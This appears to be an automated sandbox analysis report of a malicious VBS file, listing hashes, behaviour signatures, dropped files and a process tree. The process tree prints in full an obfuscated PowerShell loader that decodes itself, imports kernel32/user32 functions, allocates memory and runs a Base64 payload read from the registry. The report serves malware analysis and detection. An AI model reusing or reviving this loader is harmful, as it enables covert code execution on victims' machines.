Analysis

  • max time kernel
    86s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/10/2022, 16:55

General

  • Target

    d7591cff1a0c0e915efc2968a12fe55cf701c9c9d32b0af77d4e27e9b5c41bd5.vbs

  • Size

    435KB

  • MD5

    0de900a58b527ce0f6ab2324266a69ea

  • SHA1

    d92ecfc817b4044b3b937db8e7a091f311d0a44b

  • SHA256

    d7591cff1a0c0e915efc2968a12fe55cf701c9c9d32b0af77d4e27e9b5c41bd5

  • SHA512

    ee961030f1612e1fb2e2ff11e7a09548cf0476e432c965fc55e36da0ccf9368a2db65fe587a3036fa9a0185e92d6614f075b8b1371f6d62484fcc3a5a65dd85a

  • SSDEEP

    6144:RyF1b85ASf0UJa5mYfmVJOqsdzh7Y52eowLnb/D80Hh7MjxGPES5W5:RynG246dfmJOqsdztYoAZlM5

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d7591cff1a0c0e915efc2968a12fe55cf701c9c9d32b0af77d4e27e9b5c41bd5.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Nonconcession = """AntisAVaerrdPrelidbrams-ghostTJapanyPerodpMagikeClavi Optrn-RegisTEthnayRealipLokaleTajcoDArcubeboksefGnidnifelinnSyneriIronwtKnowiiKuldsoStttenReins prima'spastuCentosdrabaihavannBroodgDaffo BegrdSAlphayAbelmsbuggjtkantaeScyphmForst;AntrouVurdesUdspriForklnAsiatgObers AndenSCruroySermosprotetAmetheBrix mPomps.ForreRIndfduMonosnForsmtAfrimiKashomAalerePrinc.BibliIAppelnFortftOverreFalslrNaturoSaligpObrogSPauseeDiscorOverbvAnsatiudforcslibnetaksisNarko;ExsecpLtes uNacrebDelfilNereiiSejrscFunct epiphsShirttVedtaaNonsotSelvoicambrcBelgn KoncecBilamlOligoaAftrdsPebresLarru intraVSspejeBoligrNonagbBordeaJvnstlNereiiindigsviganaIsophtRiperiCoenaoTelaunRoublsBombe1Kingl{Epiga[RestaDHakkelMalprlRematIAnanamHuskepFrasaoAutosrKommetVampe(Anska`"""NotarkTrawleCarolrBelysnRoughejordblRelat3Sphen2Notac`"""Dashp)Banan]CaecapGymnouLinenbMabe lTrskoicurricSlagt curlesKlematAcrenaParaptTroeliRodeocGlasu clerieBrandxSigmotHjreseArkenrOringnKlage MobcaiOctobnTripltSamme PeritDRivegeUnclolRetsmeVoivotSigneeOverrABrunetMacrooNattymMinis(HeteriTermonPhilotChond GasseCOutquhThreaeCalis)Horse;Extra[NyhedDEnhyplStikplCicutIAktiemBrnespSbefaoImbatrApotetRaspb(anus `"""BerggkUdpakeForsurEssetnprevoeTalpalHjert3skdsk2Mekan`"""Drift)Fyrin]VivispFordeuQuantbLsladlDysmeiSuccecAthen CasersAmarytObsteaApprotChefkiAntihcKomma PunprePastexEthyltJordbepolysrUdskrnActua BagpavVenosoSammeiOdoridUdgla ToollSAntibeLanartGarneFCladoiGodaflUndiseNedkmAUnderpMaco iDatatsPalmiTReconoNatioAOsierNSaburSStudiIblind(grsen)Civil;Limoi[FireeDOpvaslRandmlKroplIBesa mIndbipRugekoFiltnrnonartCoeli(Progr`"""hordakTribueandy rPhasmnKapereIndbelRaspn3Lugge2Treat`"""Celle)Udgan]DalbypPontauUnsecbFondelCrackiKatedcAmeno ChudesBevistScaffaStatstPantoiRenovcHemoc FestmeParamxSkrigtBrugeeResidrBrnetnPlate AnsgniSpgelnVelbetPhenm MilielDeltecMankerTheileCandlahispatMisrg(GeneriCoimpnAfsketSedes cycadMUmeddeTrivesMilri,nonraiShottnNathatDig P ChrysHFairseUndesbBestorindemaLound)exalb;Plett[ShoddDCranilModvrlOutcrISluknmudvikpUbestoFlongrRivebtGidda(Ridde`"""pietekPlatyeindrerCentrnunconeJuvellLasts3Frper2Bevil`"""spids)Topdo]StellpbehemuRaadebOmgnglBarneiFejescGardi KbenhsTapettDaas aUnhewtHexamiQuadrcHorse BldereDeterxBarbetArctieWalisrVermunMedle NonaciGeomanBremstPreel UhvisVPhenoipotporbankotBalleuKluntatallolTenpoALsninlGraavlSiccaoconfecWhirl(KettliPostpnRevistFlock BlottvAmnio1Bagsm,TaphriUformnLakeytUnder JokqlvAksia2Harpi,traadiSauernGennetStemp UnvulvManua3Sedde,DdsdoiUndelnSlgtstAfluk DecorvSlyng4Heste)Plast;desul[ProtaDMiceplPinselStarlIBrneomStormpAngelocylinrOblontTyded(Oprrs`"""InteriUncrymForvamPoxy 3Cotyl2Diacr.OverbdRuggilSiggelDrikk`"""Ripel)Tanke]OctadpUdklkubassebPostmlAtariiLillacAfkla PrdiksConurtDegneaArchetUromeiAmusecStyes TrotteJollixMidletGtc ReapprerSelsknTaran SnkediSkurenMartitHoggi SekteIInattmnonemmEnriqCSvalerimmobeBystaaMilietUnproeConceCSalepoBrodenDobbytExceleBlodfxpatertRainm(Heath)Alfas;Doria[FelthDDekatlVaarblAviatIPolytmBiblipTopteoPeregrStatitSphec(Chada`"""ItinekbrumbeBygnirOratonFlyseeThundlSporo3Strkn2Bolet`"""Subch)Xerog]PellepRounduDdskrbCellslLaviniAktiocNonre outwosMunketAgoraaSiriatHyliciInsolcLers TripleModtaxSkaaltNonraePolyzrTilbanMinis AfskrIDemulnBidratStttePHallotSmkfyrMerri SnavvEBookinLovoruSensimaerobSDikteybelursAfmartStormeBewelmFormaLSibiloStrancMajoraNondilXylofeRentesNominWUnder(EndotuIroniiSpinanForswtbullo Deficvdronn1treet,ImminiUnequnremsktDepil IncruvOmgaa2Lnker)pronu;Stres[wilsoDIndeclSkuldlSpinkIMotivmSurfbpAmmeeoDisinrAngiotThund(Foder`"""MegalgSemipdKsemaiBodys3Arkiv2Bemoa`"""Bridd)Schli]TerpepUindfuFingebTombllSminkiStormcKrest PyrylsBrnemtindraaMagistdragsiJordfcDiske curvieExempxKemoftkonvoeRussirFarvenCount LinebiSilkenostentBumse BlomkUReplonCirrurUtmmeeRicaraStylolProgriDireczPeruseTruckOWelchbCowbajTilsjeIndukcVenantAntev(FumbliKollanUdsputCicat SheriVPlatyiOmgivrUrisk)Trevr;Dehyd}Crico'matri;Daady`$CursoVMandjeOxytorCtenobCountaMadenlCompaiGalvasLicheaAsientSjlehiValluoErgatnNecrosExtra3Angio=Appro[EksteVIndsteUndecrthalabFigaraSjaellDesuliEastlsVedstaCoaxytOpgaviFejemoSnorknReshastermi1Afrun]Quadr:recal:reconVKnolliHavanrbristtComituBibehaCoretldgnmiATrichlAgterlInjunoCalypcFurom(Knlet0Antar,Doits1Birds0Decim4Gilgi8Afloa5Skin 7socia6Semir,Frizz1basun2Defro2Plads8Venst8Short,Strni6Alema4Hugor)Jordr;Inter`$needlEFiercvCountoRakeslDriveuReligtFortaiUniceoBedmmnUntarePuerprUndissInval=Frust(UdskiGStruceBeroltcontr-RaketISaxiftPrinteForekmImburPUdtrkrEskimoSvberpEpicoeMedicrSkribtCacaeySklle Gerod-RkebiPPalpeaMennetFulmihAllok Agroo'FoldnHMirliKUnpatCRebstUNonab:Skole\inoxiSFondeoSagomfByrdetBrnerwgoralaMididrMadtoeSving\MinerPBlredaandallProfeastatiiRsterhKlarenBarytiCilichPermeaBrneunLight'Hjres)Afstr.ShiftLPsychaDeklisFlerttAvanceQueeneHusbavLunulnfemmaeesoca;Unapp`$sikkepGaaenoAntiesResoltGaleaaoversrBeskymHalvtiChearsSpisetKonveiAlbercKisseeSikke Perso=Unpro Voile[JohanSSkjalyWritasTelevtEnjameUnsuimConta.ModstCaggraoPolitnSnekkvSkrbueSmlesrril btAcrop]Kvidr:Subcl:DefinFRetearbefudoForjamSavioBlandbaUdraasHaandeManip6Color4RucheSMilletFinicrSkrueiElittnCampigToast(Pigst`$melleEContrvArdeiotermolAnnamuForjatGobliiExtraoFrugtnKanapeRamarrSaltlsfremt)Nonet;Brnei[RallySVandryOxindsImpretMonopeStilemPloww.AmaryRLejliuLabornVilletCruisiLonenmPaaskeBrs T.UnfulIFrancnDesictTeleoeAftrdrAcaleoWurlipPsiloSSpndeeEscalrSolfivStriciEmerscBeskaeProvosObtur.nonprMPatuxaCepharFetalsTriklhKrysaaVisualForud]Ideta:Burt :RustiCDimidoKunstpBlysmyStrat(Ndlan`$SekunpAllowoForudsRaadgtThae aGrundrCaulomBlaasiRhizosMicrotBronkiHattrcUnambeNonge,Linne Exclu0Steno,Tetra Demis Runte`$AnduiVBlurbeKommurOxytebPancraRetailEtpariGgekasAbaddaVanddtRistiiDesegoClothnUndetsdeton3Forgr,Aston Golde`$UsdelpFjeldoStatisbuntitPrereaSernerSlipomFrankiClamjsFraictPhysiiConvacAttaieJargo.IsopscKavi oStudeuElevtnOpinitantim)Hormo;Hospi[DecolVSubaceAfsvkrYouthbBarmeaHistolOrdoviPrelosUbesrahypottPandeiInteroCook nFedeksnondi1Forln]Luftf:Tange:BibliEMilienKataluMyriomRwandSremboyskrmbsFljtetBruttetruttmRorpiLVildsoabthacAmys aAntrklSprogeFasansNonimWMonop(Gesan`$CopasVBilleeMultarKredebLinieaMasthlFiskeiNotitsUdfrsaAnlbstBalaniTerrooBldtvnPaleosSubse3Stama,Grund Bened0farre)margi#Biest;""";Function Verbalisations4 { param([String]$Inconquerable2); For($i=5; $i -lt $Inconquerable2.Length-1; $i+=(5+1)){ $Motorbicycle110 = $Motorbicycle110 + $Inconquerable2.Substring($i, 1); } $Motorbicycle110;}$Inconquerable0 = Verbalisations4 'ArkaiIStoveEDistiXAbsci ';$Inconquerable1= Verbalisations4 $Nonconcession;& ($Inconquerable0) $Inconquerable1;;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0mdn1jgy\0mdn1jgy.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:728
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2CFB.tmp" "c:\Users\Admin\AppData\Local\Temp\0mdn1jgy\CSC8599D016BF8E4C8486E48FB8D2A2B797.TMP"
          4⤵
            PID:2680

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\0mdn1jgy\0mdn1jgy.dll

      Filesize

      3KB

      MD5

      b00dfcdea43bd3c7b05d6f2ef77ef701

      SHA1

      c9fb9c72199d47320fb6e4a65aad2b541a740514

      SHA256

      8351a63c088961c182b3b82b8b7331f86b936993efc846b5e552b0e564d2aa51

      SHA512

      50b9c2ce55dfe898cbd9e029b25bf48950b4a5d98185c44c051e5892348f0c0a18f26b5f350fa49532f9e30c1bd049526d9a7b39701f86e752ffe121e9ef5416

    • C:\Users\Admin\AppData\Local\Temp\RES2CFB.tmp

      Filesize

      1KB

      MD5

      4b6dd897a341d50773276153e03a35aa

      SHA1

      9d2fadfe37da532e03d2ef691201e79a3c2428a3

      SHA256

      9270850f431c85fc1f2a67eaa4df3b5b7275d01a496eaea1089f220be5fca8cd

      SHA512

      b420c837aa0272791d630d703f24dc3090707ac5563aa1539d846eeb522a4dadfe317fd947bbe5950f6f8c1cc57dfbd647b2509ebb943f0ea5f15c3a02ad03c9

    • \??\c:\Users\Admin\AppData\Local\Temp\0mdn1jgy\0mdn1jgy.0.cs

      Filesize

      615B

      MD5

      ddcacaa4ce34648d2f2b9c9b19b0a656

      SHA1

      d279d394e8020760bd4887d6c03c0a1aa0093cd1

      SHA256

      93fa5982484bcc87507cc62debe71fbcc44fd4a2b34686ea1cdfe62ca1c416f0

      SHA512

      c48ef533ac92488358b55a001fbcbd9c93e249ecff24670176d21a367ad2f8c85203d672e6aeca8a13e69b1c6926e154bbb2afc05bc5d766d461b1e1d17cdb15

    • \??\c:\Users\Admin\AppData\Local\Temp\0mdn1jgy\0mdn1jgy.cmdline

      Filesize

      369B

      MD5

      858acdcf18d180b00b43c4fc6c9bc23e

      SHA1

      84e9d0e68b154d7ba750ff5ead928dbbdb062523

      SHA256

      3df796da97193b349f7a6c4727026cd8f5b5b31f4f8155634654c53580840d54

      SHA512

      a1fd85437dab29942a56ba5128ab5c868b48529165db8745814cc2a34726b6e76769d100e973999a5706846b478125913f0b4835a475dc8526c26b017946d20b

    • \??\c:\Users\Admin\AppData\Local\Temp\0mdn1jgy\CSC8599D016BF8E4C8486E48FB8D2A2B797.TMP

      Filesize

      652B

      MD5

      adff67da2f2c8697c97643e881d3590d

      SHA1

      e0ff5d3bcc6c60d38a2b6386f394cb49dcd92477

      SHA256

      7259d2b510aa1bf55c020aa06edaf1cd7d739c18a518db58ca33d67a8232d13d

      SHA512

      f1dc4ab9d92ab9051b93d82407cf1d40a80f6d9de75bf44c85d1faab5e8fdd80255b3996d5675dcf5622fa8251e2ff85e5c22420c7b3ff4dbfb0d29c703a74d4

    • memory/2676-148-0x0000000007450000-0x00000000074E6000-memory.dmp

      Filesize

      600KB

    • memory/2676-137-0x00000000059C0000-0x0000000005A26000-memory.dmp

      Filesize

      408KB

    • memory/2676-140-0x0000000007230000-0x000000000724A000-memory.dmp

      Filesize

      104KB

    • memory/2676-138-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

      Filesize

      120KB

    • memory/2676-135-0x00000000058B0000-0x00000000058D2000-memory.dmp

      Filesize

      136KB

    • memory/2676-152-0x00000000071F0000-0x000000000786A000-memory.dmp

      Filesize

      6.5MB

    • memory/2676-139-0x0000000007870000-0x0000000007EEA000-memory.dmp

      Filesize

      6.5MB

    • memory/2676-134-0x0000000004EC0000-0x00000000054E8000-memory.dmp

      Filesize

      6.2MB

    • memory/2676-133-0x0000000004800000-0x0000000004836000-memory.dmp

      Filesize

      216KB

    • memory/2676-136-0x0000000005950000-0x00000000059B6000-memory.dmp

      Filesize

      408KB

    • memory/2676-149-0x00000000073E0000-0x0000000007402000-memory.dmp

      Filesize

      136KB

    • memory/2676-150-0x00000000084A0000-0x0000000008A44000-memory.dmp

      Filesize

      5.6MB

    • memory/2676-151-0x00000000071F0000-0x000000000786A000-memory.dmp

      Filesize

      6.5MB